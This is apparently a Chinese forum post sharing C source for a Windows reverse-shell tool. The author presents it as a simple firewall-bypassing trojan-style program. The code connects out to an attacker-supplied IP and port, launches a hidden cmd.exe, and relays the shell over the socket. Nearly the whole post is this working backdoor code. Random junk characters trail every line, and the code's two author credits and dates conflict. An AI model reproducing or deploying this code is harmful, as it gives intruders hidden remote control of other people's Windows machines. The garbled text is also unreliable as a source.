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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 N>z8\y  
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/* ============================== &#;,P :.'  
Rebound port in Windows NT 4>|5B:  
By wind,2006/7 9GEcs(A*  
===============================*/ `+gF|o9  
#include /j^zHrLN  
#include Uag1vW,c  
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#pragma comment(lib,"wsock32.lib") *Dn{MD7,M  
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void OutputShell(); sPw(+m*C   
SOCKET sClient; 7%<jZ =  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Ns $PS\  
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void main(int argc,char **argv) /t/q$X  
{ E,X,RM~ +D  
WSADATA stWsaData; p-}:7CXP  
int nRet; qkEy$[D9  
SOCKADDR_IN stSaiClient,stSaiServer; iaC$K@a{  
q8D1MEBL`  
if(argc != 3) [brrziZ  
{ ERZ[t\g)  
printf("Useage:\n\rRebound DestIP DestPort\n"); qvscf_%FM  
return; '=2t(@aC  
} U".-C`4v  
r~;N(CG  
WSAStartup(MAKEWORD(2,2),&stWsaData); cnsGP*w  
=_86{wlk  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Xnh1pwDhe<  
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stSaiClient.sin_family = AF_INET; @X#m]ou  
stSaiClient.sin_port = htons(0); _PaO w%Y9  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =Dz[|$dV  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8%"e-chd  
{ HT]ubw]rJ  
printf("Bind Socket Failed!\n"); '*k\IM{h  
return; C+k>Ajr  
} Fzu{,b  
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stSaiServer.sin_family = AF_INET; 5(W9Jj]  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); gXQ)\MY  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); . FruI#99  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ovohl<o\  
{ zM'-2,  
printf("Connect Error!"); ~RJg.9V  
return; BO_^3Me*  
} j oG>=o  
OutputShell(); NplSkv  
} &-zI7@!  
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void OutputShell() "&%Hb's  
{ N7_Co;#(zK  
char szBuff[1024]; 7jPmI  
SECURITY_ATTRIBUTES stSecurityAttributes; lD pi1]2  
OSVERSIONINFO stOsversionInfo; E=E<l?ob  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; :o:??tqw  
STARTUPINFO stStartupInfo; *" )[Srbg  
char *szShell; u"%fz8v  
PROCESS_INFORMATION stProcessInformation; )\(pDn$W  
unsigned long lBytesRead; GyCpGP|AZ  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); A3n"zxU  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); p5KNqqZZ  
stSecurityAttributes.lpSecurityDescriptor = 0; *v9G#[gG  
stSecurityAttributes.bInheritHandle = TRUE; [>0r'-kI  
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8M|Q^VeT,1  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 7Tbkti;  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); F)@<ZE  
B_S3}g<~  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); bo2Od  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RB"rx\u7K  
stStartupInfo.wShowWindow = SW_HIDE; *.RVH<W=8  
stStartupInfo.hStdInput = hReadPipe; ]Oy<zU  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4Q>F4 v`  
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GetVersionEx(&stOsversionInfo); krA))cP  
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switch(stOsversionInfo.dwPlatformId) -}J8|gwwp  
{ *l//r V?l  
case 1: Go|65Z\`7M  
szShell = "command.com"; m+g>s&1H  
break; epF>z   
default: Ba6xkEd  
szShell = "cmd.exe"; f"Iyo:Wt  
break; 2?j1~]DvZ  
} ,3j7Y5v  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); f/y K|[g~  
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send(sClient,szMsg,77,0); )sHPIxHI  
while(1) zCrcCr  
{ s,Swlo7D!  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); c'2ra/?k  
if(lBytesRead) @jHio\/_  
{ (R-Q9F+;  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~'3% Qr  
send(sClient,szBuff,lBytesRead,0); je-s%kNlJ  
} TTpF m~?(  
else Vz*'^=(o&  
{ MeX1y]<It  
lBytesRead=recv(sClient,szBuff,1024,0); B pT&vbY  
if(lBytesRead<=0) break; [_d*J/X  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); GN0'-z6Uy  
} 5b,98Q  
} gL`SZr9  
0^[6  
return; #pfosC[  
}
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